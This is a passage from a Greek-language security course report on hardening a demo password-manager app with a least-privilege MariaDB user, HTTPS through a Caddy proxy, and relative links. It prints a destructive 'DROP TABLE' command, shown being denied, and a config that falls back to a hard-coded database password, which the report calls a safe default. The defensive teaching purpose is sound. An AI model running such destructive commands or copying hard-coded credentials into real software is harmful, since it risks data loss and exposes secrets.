\label{lst:db-create-app-user}
|
||
Με αυτόν τον τρόπο, η εφαρμογή μπορεί να λειτουργήσει κανονικά,
|
||
ενώ παράλληλα \textbf{δεν επιτρέπονται επικίνδυνα δικαιώματα} όπως \texttt{DROP}, \texttt{ALTER}, \texttt{CREATE USER}, \texttt{GRANT OPTION}.
|
||
|
||
\item Αλλαγή στο docker-compose.yml: web \textbf{συνδέεται ως passman\_app}.
|
||
Στη συνέχεια, στο \textit{docker-compose.yml} αλλάχθηκαν τα credentials της web υπηρεσίας ώστε να χρησιμοποιείται ο νέος χρήστης:
|
||
\begin{minted}{yaml}
|
||
services:
|
||
web:
|
||
environment:
|
||
DB_HOST: db
|
||
DB_USER: passman_app
|
||
DB_PASS: passman_app_pw
|
||
DB_NAME: pwd_mgr
|
||
\end{minted}
|
||
\label{lst:compose-web-appuser}
|
||
|
||
Ο χρήστης \texttt{root} παραμένει διαθέσιμος μόνο για διαχειριστικές εργασίες στο DB container (\textit{administration}), αλλά η εφαρμογή δεν τον χρησιμοποιεί πλέον.
|
||
|
||
\item Αλλαγή στο config.php: ασφαλέστερα defaults / αποφυγή fallback σε root.
|
||
Τέλος, στο \textit{config.php} αφαιρέθηκε το επικίνδυνο fallback σε root.
|
||
Υπάρχουν δύο ασφαλείς επιλογές:
|
||
\begin{itemize}
|
||
\item \textbf{Επιλογή 1 (fail closed):} αν λείπουν env vars, η εφαρμογή σταματάει με μήνυμα σφάλματος.
|
||
\item \textbf{Επιλογή 2 (safe defaults):} fallback σε \texttt{passman\_app} αντί για \texttt{root}.
|
||
\end{itemize}
|
||
|
||
Στην παρούσα εργασία ακολουθήθηκε η \textit{safe defaults} επιλογή:
|
||
\begin{minted}{php}
|
||
$DB_HOST = getenv('DB_HOST') ?: 'db';
|
||
$DB_USER = getenv('DB_USER') ?: 'passman_app';
|
||
$DB_PASS = getenv('DB_PASS') ?: 'passman_app_pw';
|
||
$DB_NAME = getenv('DB_NAME') ?: 'pwd_mgr';
|
||
\end{minted}
|
||
\label{lst:db-config-fixed}
|
||
\end{itemize}
|
||
|
||
Με τις παραπάνω αλλαγές, \textbf{η εφαρμογή λειτουργεί με περιορισμένα δικαιώματα στη βάση δεδομένων}, μειώνοντας σημαντικά τον αντίκτυπο (impact reduction) πιθανών επιθέσεων.
|
||
Η πρακτική αυτή αποτελεί βασικό μέτρο \textbf{defense-in-depth} και ευθυγραμμίζεται με θεμελιώδεις αρχές secure design.
|
||
|
||
Ένα παράδειγμα φαίνεται και στο στιγμιότυπο παρακάτω, όπου η βάση απορρίπτει τη διαγραφή πίνακα, στον χρήστη passman\_app:
|
||
\begin{minted}{sql}
|
||
-- $ docker compose exec db mariadb -upassman_app -ppassman_app_pw
|
||
Welcome to the MariaDB monitor. Commands end with ; or \g.
|
||
Your MariaDB connection id is 5
|
||
Server version: 11.8.5-MariaDB-ubu2404 mariadb.org binary distribution
|
||
|
||
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
|
||
|
||
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
|
||
|
||
MariaDB [(none)]> DROP TABLE pwd_mgr.login_users;
|
||
ERROR 1142 (42000): DROP command denied to user 'passman_app'@'localhost' for
|
||
table `pwd_mgr`.`login_users`
|
||
MariaDB [(none)]>
|
||
\end{minted}
|
||
|
||
|
||
% =====================================================================
|
||
% HTTP -> HTTPS (Transport security) + mitigation
|
||
% =====================================================================
|
||
|
||
\section{Χρήση HTTP αντί HTTPS}
|
||
\label{subsec:http-https}
|
||
|
||
Η εφαρμογή αρχικά λειτουργεί αποκλειστικά μέσω του μη ασφαλούς πρωτοκόλλου HTTP.
|
||
Όπως αναφέρεται και στην εκφώνηση, η χρήση HTTP επιτρέπει σε έναν επιτιθέμενο που παρακολουθεί την κίνηση του δικτύου (\textit{network observer / man-in-the-middle}) \textbf{να υποκλέψει τις πληροφορίες} που εμφανίζονται στον χρήστη και τα δεδομένα που αυτός αποστέλλει (π.χ. username/password στα forms).
|
||
|
||
Σε πραγματικό περιβάλλον, αυτό σημαίνει ότι:
|
||
\begin{itemize}
|
||
\item τα \textbf{credentials} μπορούν να διαρρεύσουν σε \textbf{plaintext},
|
||
\item το \textbf{session cookie} μπορεί να \textbf{υποκλαπεί},
|
||
\item το περιεχόμενο σελίδων (π.χ. αποθηκευμένοι κωδικοί ιστοσελίδων) μπορεί να \textbf{αναγνωστεί από τρίτους}.
|
||
\end{itemize}
|
||
|
||
\subsection{Πού εμφανίζεται στην υλοποίηση}
|
||
Στο Docker Compose, η web υπηρεσία εκθέτει προς τα έξω μόνο την πόρτα 80 (HTTP), χωρίς καμία μορφή TLS.
|
||
|
||
\begin{minted}{yaml}
|
||
services:
|
||
web:
|
||
build: .
|
||
ports:
|
||
- "80:80"
|
||
\end{minted}
|
||
\label{lst:http-compose-before}
|
||
|
||
Επιπλέον, στο \textit{index.html} υπάρχουν hard-coded σύνδεσμοι προς \texttt{http://localhost/...}, οι οποίοι επιβάλλουν τη χρήση HTTP από τον browser.
|
||
\begin{minted}{html}
|
||
<a href="http://localhost/passman/login.php">Login Page</a>
|
||
// ...
|
||
<a href="http://localhost/passman/dashboard.php">Dashboard</a>
|
||
<a href="http://localhost/passman/notes.php">Notes</a>
|
||
\end{minted}
|
||
\label{lst:http-index-before}
|
||
|
||
|
||
\subsection{Αντιμετώπιση}
|
||
\label{subsec:https-fix}
|
||
|
||
Για να επιτευχθεί ασφαλής μεταφορά δεδομένων (\textit{transport security}), απαιτείται η χρήση HTTPS.
|
||
Σε περιβάλλον Docker, ένας πρακτικός και καθαρός τρόπος είναι να προστεθεί ένα reverse proxy (π.χ. Caddy / NGINX) μπροστά από τον Apache web server.
|
||
Το reverse proxy αναλαμβάνει:
|
||
\begin{itemize}
|
||
\item \textbf{TLS termination} (διαπραγμάτευση κρυπτογράφησης),
|
||
\item αυτόματη \textbf{ανακατεύθυνση} από HTTP σε HTTPS,
|
||
\item \textbf{προώθηση} (proxying) \textbf{της κίνησης} προς το εσωτερικό container της εφαρμογής.
|
||
\end{itemize}
|
||
|
||
Με αυτή την αρχιτεκτονική, το container \texttt{web} \textbf{δεν εκτίθεται πλέον} απευθείας προς τα έξω.
|
||
Εκτίθενται μόνο οι πόρτες 80/443 του reverse proxy.
|
||
|
||
\subsection{Αλλαγές στο docker-compose.yml}
|
||
Αφαιρέθηκε το \texttt{ports: "80:80"} από τη web υπηρεσία και προστέθηκε νέα υπηρεσία \texttt{proxy} (Caddy) η οποία εκθέτει τις θύρες 80 (redirect) και 443 (HTTPS):
|
||
|
||
\begin{minted}{yaml}
|
||
services:
|
||
proxy:
|
||
image: caddy:2
|
||
ports:
|
||
- "80:80"
|
||
- "443:443"
|
||
volumes:
|
||
- ./Caddyfile:/etc/caddy/Caddyfile:ro
|
||
- caddy_data:/data
|
||
- caddy_config:/config
|
||
depends_on:
|
||
- web
|
||
|
||
volumes:
|
||
caddy_data:
|
||
caddy_config:
|
||
\end{minted}
|
||
\label{lst:https-compose-after}
|
||
|
||
\subsection{Ρύθμιση reverse proxy -- Caddyfile}
|
||
Για χρήση σε τοπικό περιβάλλον (\texttt{localhost}), \textbf{επιλέχθηκε self-signed} (\texttt{tls internal}).
|
||
Αυτό είναι κατάλληλο για demo/testing, καθώς δεν απαιτεί domain name ή δημόσιο πιστοποιητικό.
|
||
Το \textit{Caddyfile} είναι:
|
||
|
||
\begin{minted}{nginx}
|
||
# HTTP site: redirect everything to HTTPS
|
||
http://localhost {
|
||
redir https://{host}{uri} permanent
|
||
}
|
||
|
||
# HTTPS site
|
||
https://localhost {
|
||
reverse_proxy web:80
|
||
tls internal
|
||
|
||
# Optional: security headers (defense-in-depth)
|
||
header {
|
||
X-Content-Type-Options "nosniff"
|
||
X-Frame-Options "DENY"
|
||
Referrer-Policy "no-referrer"
|
||
}
|
||
}
|
||
\end{minted}
|
||
\label{lst:caddyfile}
|
||
|
||
\paragraph{Σημείωση για τοπικά πιστοποιητικά (browser warning).}
|
||
Η χρήση \texttt{tls internal} δημιουργεί self-signed πιστοποιητικό, το οποίο ενδέχεται να προκαλέσει \textbf{warning στον browser}.
|
||
Το γεγονός αυτό είναι αναμενόμενο σε τοπικό demo περιβάλλον και δεν αναιρεί τη λειτουργία κρυπτογράφησης.
|
||
Σε παραγωγικό περιβάλλον θα χρησιμοποιούνταν έγκυρο πιστοποιητικό (π.χ. μέσω Let's Encrypt) και domain name.
|
||
|
||
\subsubsection{Αλλαγές στο index.html}
|
||
Για να αποφευχθεί το hard-coding του scheme (\texttt{http://}) και να λειτουργεί σωστά τόσο σε HTTP$\rightarrow$HTTPS redirect όσο και σε μελλοντικό deployment, οι σύνδεσμοι άλλαξαν ώστε να είναι \textbf{relative URLs}:
|
||
|
||
\begin{minted}{html}
|
||
<a href="/passman/login.php">Login Page</a>
|
||
<a href="/passman/dashboard.php">Dashboard</a>
|
||
<a href="/passman/notes.php">Notes</a>
|
||
\end{minted}
|
||
\label{lst:https-index-after}
|
||
|
||
\subsection{Επαλήθευση}
|
||
Όπως φαίνεται και στην Εικόνα~\ref{fig:https-sample}, μετά τις αλλαγές, η εφαρμογή είναι διαθέσιμη μέσω:\\
|
||
\texttt{https://localhost/passman}.
|
||
\begin{figure}[!ht]
|
||
\centering
|
||
\includegraphics[width=0.55\textwidth]{img/https-Sample.png}
|
||
\caption{λειτουργία μέσω https (και εμφάνιση του warning).}
|
||
\label{fig:https-sample}
|
||
\end{figure}
|
||
|
||
Επιπλέον, η πρόσβαση σε \texttt{http://localhost/passman} οδηγεί σε αυτόματη ανακατεύθυνση προς HTTPS,
|
||
επιβεβαιώνοντας ότι η μεταφορά δεδομένων προστατεύεται σε επίπεδο δικτύου.
|
||
\begin{minted}{bash}
|
||
$ curl -I http://localhost/passman
|
||
HTTP/1.1 301 Moved Permanently
|
||
Location: https://localhost/passman
|
||
Server: Caddy
|
||
Date: Sun, 11 Jan 2026 20:01:49 GMT
|
||
\end{minted}
|
||
|
||
Με την εισαγωγή reverse proxy και την ενεργοποίηση HTTPS, μειώνεται σημαντικά ο κίνδυνος υποκλοπής δεδομένων (\textit{eavesdropping}) και επιτυγχάνεται προστασία στο επίπεδο μεταφοράς (transport layer), ενισχύοντας τη συνολική ασφάλεια της εφαρμογής.
|
||
|
||
|
||
|
||
\section{Συμπεράσματα}
|
||
|
||
Στην παρούσα εργασία μελετήθηκε μια απλή διαδικτυακή εφαρμογή διαχείρισης κωδικών πρόσβασης, με στόχο την \textbf{ανάδειξη και αντιμετώπιση κρίσιμων κενών ασφάλειας} που προκύπτουν από μη ασφαλείς προγραμματιστικές πρακτικές.
|
||
Η προσέγγιση που ακολουθήθηκε ήταν πειραματική και βασισμένη σε πραγματικά σενάρια επίθεσης.
|
||
Αρχικά εντοπίστηκαν ευπάθειες όπως SQL Injection, Stored Cross-Site Scripting, αποθήκευση κωδικών σε απλό κείμενο, χρήση διαπιστευτηρίων διαχειριστή για τη βάση δεδομένων και απουσία κρυπτογράφησης στο επίπεδο μεταφοράς (HTTP).
|
||
Για κάθε περίπτωση \textit{παρουσιάστηκε ο τρόπος εκμετάλλευσης, τεκμηριώθηκαν οι επιπτώσεις και στη συνέχεια εφαρμόστηκαν στοχευμένα διορθωτικά μέτρα}, με \textbf{ελάχιστη αλλά ουσιαστική παρέμβαση στον κώδικα} και στη συνολική αρχιτεκτονική.
|
||
|
||
Οι διορθώσεις υλοποιήθηκαν με βάση θεμελιώδεις αρχές ασφαλούς σχεδίασης, όπως ο \textbf{διαχωρισμός δεδομένων και εντολών} (prepared statements), η \textbf{αντιμετώπιση κάθε εισόδου ως μη έμπιστης} (output encoding), η \textbf{ασφαλής αποθήκευση κωδικών μέσω hashing}, η αρχή του \textbf{least privilege} στη διαχείριση της βάσης δεδομένων και η προστασία της επικοινωνίας μέσω \textbf{HTTPS}.
|
||
Ιδιαίτερη έμφαση δόθηκε όχι μόνο στη «διόρθωση» μεμονωμένων σφαλμάτων, αλλά και στη μείωση του συνολικού αντίκτυπου πιθανών επιθέσεων (impact reduction), υιοθετώντας μια προσέγγιση \textbf{defense-in-depth}.
|
||
Μέσα από τη διαδικασία αυτή κατέστη σαφές ότι \textit{πολλές σοβαρές ευπάθειες δεν οφείλονται σε πολύπλοκα σφάλματα, αλλά σε απλές παραλείψεις και λανθασμένες παραδοχές} κατά την ανάπτυξη της εφαρμογής.
|
||
|
||
Συνολικά, η εργασία ανέδειξε τη σημασία της ασφάλειας ως αναπόσπαστο μέρος του σχεδιασμού λογισμικού και όχι ως μεταγενέστερη προσθήκη.
|
||
Η κατανόηση των μηχανισμών επίθεσης και η εφαρμογή βασικών πρακτικών secure coding επιτρέπουν τη δραστική βελτίωση της ασφάλειας ακόμη και σε απλές εφαρμογές.
|
||
Η εμπειρία που αποκομίστηκε υπογραμμίζει ότι η \textbf{συστηματική σκέψη}, η \textbf{σωστή αρχιτεκτονική} και η \textbf{επίγνωση των κινδύνων} είναι καθοριστικοί παράγοντες για την ανάπτυξη αξιόπιστων και ασφαλών πληροφοριακών συστημάτων.
|
||
|
||
|
||
\end{document}
|